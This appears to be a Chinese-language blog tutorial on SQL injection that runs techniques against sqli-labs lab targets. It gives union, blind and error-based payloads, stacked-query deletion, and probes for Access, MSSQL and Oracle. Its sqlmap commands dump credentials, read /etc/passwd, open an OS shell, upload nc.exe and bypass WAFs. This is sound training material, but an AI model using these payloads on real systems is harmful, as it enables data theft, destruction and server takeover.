web安全之SQL注入漏洞
基本知识
原理:用户能控制输入的内容;Web应用把用户输入的内容带入到数据库中执行。
分类:依据注入点参数类型分类:数字型注入、字符型注入、搜索型注入
依据获取信息的方式分类:union注入、布尔盲注、时间盲注、报错注入、堆叠查询注入
依据请求方式分类:GET注入、POST注入、Cookie注入、HTTP头注入(XFF注入、UA注入、Reference注入)
依据DBMS分类:Access、MSSQL、Oracle、MySQL
位置:参数点、登陆框、搜索框
核心语法:
select schema_name from information_schema.schemata(查库) select table_name from information_schema.tables where table_schema=库名(查表) select column_name from information_schema.colums where table_name=表名(查列) select 列名 from 库名.表名(查数据)
1.union注入 【sqli-labs靶场的第1-4关】
目的 脚本 0.判断是否存在注入点 添加单引号' 双引号" 单括号) 双括号))看看是否报错,报错说明可能存在 添加 and 1=1 和 and 1=2 看看显示页面是否一致,不一致说明可能存在 1.判断数字型or字符型,字符型需要注释。 单引号'报错且双引号"正常 为字符型 and 1=1 正常且 and 1=2 报错 为数值型 加引号报错=数值型;加引号正常=字符型 做减法运算,可运算为数值型; 2.判断前个查询语句的列数 order by 8 --+ 3.判断回显点 ?id=-1 union select 1,2,3 --+ 4.查库名 ?id=-1 union select 1,database(),3 --+ 5.查表名 ?id=-3 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+ 6.查列名 ?id=-3 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 --+ 7.查字段 ?id=-3 union select 1,(select group_concat(id,0x7e,username,'~',password) from security.users),3 --+
2.盲注
原理:SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
常用函数:
函数 描述 left(字符串,截取长度) 从左边截取指定长度的字符串 length(字符串) 获取字符串的长度 ascii(字符串) 将指定字符串进行ascii编码 substr(字符串,start,截取长度) 截取字符串,可以指定起始位置和长度 mid(字符串,start,截取长度) 截取字符串,可以指定起始位置和长度 count() 计算总数,返回匹配条件的行数。 sleep(n) 将程序挂起n秒 if(参数1,参数2,参数3) 参数1为条件,当参数1返回的结果为true时,执行参数2,否则执行参数3
手工盲注步骤:
1.判断是否存在注入,注入是字符型还是数字型 2.猜解当前数据库名 3.猜解数据库中的表名 4.猜解表中的字段名 5.猜解数据
2.1 布尔盲注
- 页面上没有显示位
- 并且没有输出SQL语句执行错误信息
- 只能通过页面返回正常与不正常判断,即布尔值True or False
手工进行布尔盲注:
http://192.168.8.146/sqli/Less-8/?id=1' and ascii(substr(database(),{},1))>{} --
sqlmap进行布尔盲注:
#查询数据库 #【security】 python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B --dbs --batch --threads 10 #获取数据库中的表 #【emails、referers、uagents、users】 python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security --tables --batch --threads 10 #获取表中的字段名 #【id、username、password】 python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security -T users --columns --batch --threads 10 #获取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】 python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
2.2 时间盲注
- 页面上没有显示位
- 也没有SQL语句执行报错信息
- 页面无任何异常,正确的sql语句和错误的sql语句页面返回一致
- 只能使用sleep()函数进行判断
手工进行时间盲注:
http://192.168.8.146/sqli/Less-9/?id=4 ' and sleep(1) --+ http://192.168.8.146/sqli/Less-9/?id=4 ' and if(ascii(substr(database(),1,1))>1,sleep(1),0) --+
sqlmap进行时间盲注:
#查询数据库 #【security】 python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T --dbs --batch --threads 10 #获取数据库中的表 #【emails、referers、uagents、users】 python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security --tables --batch --threads 10 #获取表中的字段名 #【id、username、password】 python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security -T users --columns --batch --threads 10 #获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】 python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security -T users -C username,password --dump --batch --threads 10
2.3 DNSlog盲注(外带)
什么是DNS DNS的全称是 Domain Name System(域名系统),它将域名解析为 IP,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的 DNS 服务器会将该域名解析,并找到对应的真实IP:182.61.200.6,使用户可以访问这台服务器上相应的服务。 什么是DNSlog DNSlog 就是存储在 DNS 服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。SQL 盲注、命令执行、SSRF 及 XSS 等攻击而无法看到回显结果时,就会用到 DNSlog 技术。 为什么用Dnslog盲注 对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,最后导致 IP 被 ban,Dnslog 盲注可以减少发送的请求,直接回显数据实现注入。
利用的前提条件:
- MySQL支持load_file()函数,通过执行 show variables like '%secure%'; 查看 load_file() 是否可以读取文件。
- 由于使用的是Windows的UNC路径特性,因此不支持Linux平台。只支持Windows平台。
- 拥有DNSlog地址,可使用以下DNSlog平台:http://ceye.io 或 http://www.dnslog.cn
3.报错注入
原理:报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
3.1 floor报错注入
原理:双查询报错/floor报错注入是由于rand(),count(),group by ,floor四个语句联合使用造成的,缺一不可。
待更...
3.2 extractvalue()报错注入
利用xpath语法错误来进行报错注入。主要利用extractvalue
和updatexml
两个函数。
待更...
3.3 updatexml()报错注入 【sqli-labs靶场的第5,6关】
【Less-5】GET-Double Injection-Single Quotes-String——双注入单引号
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
【Less-6】GET-Double Injection-Double Quotes-String——双注入双引号
?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
待更...
4.宽字节注入
待更...
5.堆叠注入
原理:在SQL中,分号(;)是用来表示一条SQL语句的结束。试想一下我们在分号(;)结束后一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products 服务器端生成的sql语句为:select * from products where productid=1;DELETE FROM products 当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
6.HTTP head注入
原理:有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过HTTP header头信息获取客户端的一些资料,比如User-Agent、Accept字段等的时候,会对客户端的HTTP header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于HTTP header的SQL Inject漏洞。
6.1 Cookie注入
原理:通过修改Cookie的值进行注入,Cookie注入跟普通sql注入过程一样。
sqlmap进行Cookie注入:
python sqlmap.py -u "http://xxx.com" --cookie "id=1" --dbs --level 2
6.2 User-Agent注入
待更...
6.3 XFF注入
待更...
7.二次编码注入
待更...
8.读写文件
读取文件
函数:load_file(file_name)读取文件并返回该文件内容作为一个字符串。
前提:
必须有权限读取并且文件必须完全可读 必须指定文件完整路径 能够使用union查询(sql注入时) 对Web目录有写权限用户必须有secure_file_priv=文件权限 欲读取文件必须小于max_allowed_packetde的允许值
sqlmap读取文件:
python sqlmap.py -u "http://xxx/x?id=1" --file-read=/etc/passwd 注:若mysql<5.0:可利用sqlmap的sql-shell读取文件。
写入文件(比如一句话木马)
函数:into outfile()
sqlmap写入文件:
待更...
9.其它DBMS注入
Access
默认后缀:.mdb
目的 脚本 判断 判断是否为access数据库 and exists (select * from msysobjects)>0 根据返回的报错信息确认 判断是否存在admin表 and exists (select * from admin) 未报错说明存在admin表 判断是否存在admin列 and exists (select admin from admin) 未报错说明存在admin列 判断是否存在password列 and exists (select admin from admin) 未报错说明存在password列
MSSQL
默认端口:1433
工具:啊D、Pangolin
策略:小权限:文件管理---差异备份---写入小马 sa权限:执行cmdshell命令——提权、开3389
目的 脚本 判断 判断是否为mssql and user>0 根据返回的报错信息确认 and exists (select * from sysobjects)>0 获取表users的数据 and 1=(select top 1 uname from users) and 1=(select top 1 upass from users)
Oracle
默认端口:1521
目的 脚本 判断 猜表名 and (select count(*) from admin) <>0 返回正常则admin表存在 猜列名 and (select count(user) from admin) <>0 返回正常则user列存在,继续猜pwd列是否存在 猜账户的长度 and (select count(*) from admin where length(name)>=5)=1 返回正常即账户长度为5 猜账户(通过ASII码) and (select count(*) from admin where ascii(substr(name,1,1))>=97) =1 猜密码的长度 and (select count(*) from admin where lengh(pwd)>=8)=1 返回正常即密码长度为8,判断密码为明文 猜密码(通过ASII码) and (select count(*) from admin where ascii(substr(pwd,1,1))>=97) =1
*其它未归档
get注入 id后的常规注入
post注入(登录框注入) sqlmap.py -u "登录页面url" --data "tfUPass=111&UName=111" --dbs -D-T-C--dump
cookie注入(可绕过拦截) 使用Pangolin或注入中转器绕过拦截后,进行get注入。
搜索型注入 bp抓包保存至1.txt(存在keyword关键字);sqlmp.py -r 1.txt --tables
base64注入
伪静态注入: 修改页面成.php?id=89
Sqlmap
简介:开源、功能强大的python编写的sql漏洞检测和利用工具。涵盖几乎大部分注入类型和数据库类型。
功能模块:Target、Request、Optimization、Injection、Detection、Fingerprint、Enumeration、FS-access、OS-access、Win-registry、General、Miscellaneous。
攻击流程:判断数据库类型和版本——爆库、爆用户——指定D/T/C爆数据。
基础用法
语法:sqlmap -u "注入点url" 选项 --users 获取所有用户 --current-user 获取当前用户 --dbs 获取所有库 --current-db 获取当前库 --D“库名” --tables 获取某库中的所有表 --D“库名” --T“表名”--columns 获取某库某表中的所有列 --D“库名” --T“表名”--C“列名,列名”--dump 获取某库某表某列中的值 --batch 自动化完成 --dump 下载数据 -h 查看帮助选项 -r 请求包.txt 指定post请求包 -m 目标地址.txt 批量指定目标地址 --is-dba 当前用户权限?? -p 参数名 指定可能含有注入的参数点以便节约时间 --cookie="cookie值"【cookie-有期限的账户密码摘要值】
进阶用法
#探测等级和危险等级(-level -risk) level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5 --level=3 设定运行级别 --risk=3 设定风险值 #伪造 Http Referer头部 #执行指定的SQL语句(--sql-shell) sqlmap.py -u "http://192.168.8.131/sqli/Less-3/?id=5" --sql-shell #执行操作系统命令(--os-shell) sqlmap.py -u "http://192.168.8.131/sqli/Less-3/?id=5" --os-shell which web application language does the web server support? [1] ASP (default) [2] ASPX [3] JSP [4] PHP > 4 what do you want to use for writable directory? [1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default) [2] custom location(s) [3] custom directory list file [4] brute force search > 2 please provide a comma separate list of absolute directory paths: C:\WWW os-shell> ipconfig do you want to retrieve the command standard output? [Y/n/a] y command standard output: Windows IP 配置 以太网适配器 本地连接: 连接特定的 DNS 后缀 . . . . . . . : localdomain 本地链接 IPv6 地址. . . . . . . . : fe80::30a3:89d4:fd2a:1f7e IPv4 地址 . . . . . . . . . . . . : 192.168.8.131 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 192.168.8.2 #读取服务器文件(-file-read) sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" #上传文件到数据库服务器中(-file-write -file-dest) sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" #绕过waf --tamper=脚本名 可以指定tamper目录的脚本尝试绕过
*sql注入参考资料:
https://blog.csdn.net/dreamthe/article/details/123795302 https://blog.csdn.net/weixin_45588247/article/details/107701820?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-107701820-blog-126857683.235%5Ev32%5Epc_relevant_default_base3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-107701820-blog-126857683.235%5Ev32%5Epc_relevant_default_base3&utm_relevant_index=3 https://www.cnblogs.com/cscshi/p/15705030.html#133-%E8%AF%B7%E6%B1%82 https://www.cnblogs.com/sunny11/p/14402679.html https://www.freebuf.com/articles/web/271863.html https://www.cnblogs.com/-qing-/p/11610385.html https://blog.csdn.net/qq_25094483/article/details/109242613 https://blog.csdn.net/qq_25094483/article/details/109242613 https://jwt1399.top/posts/32179.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具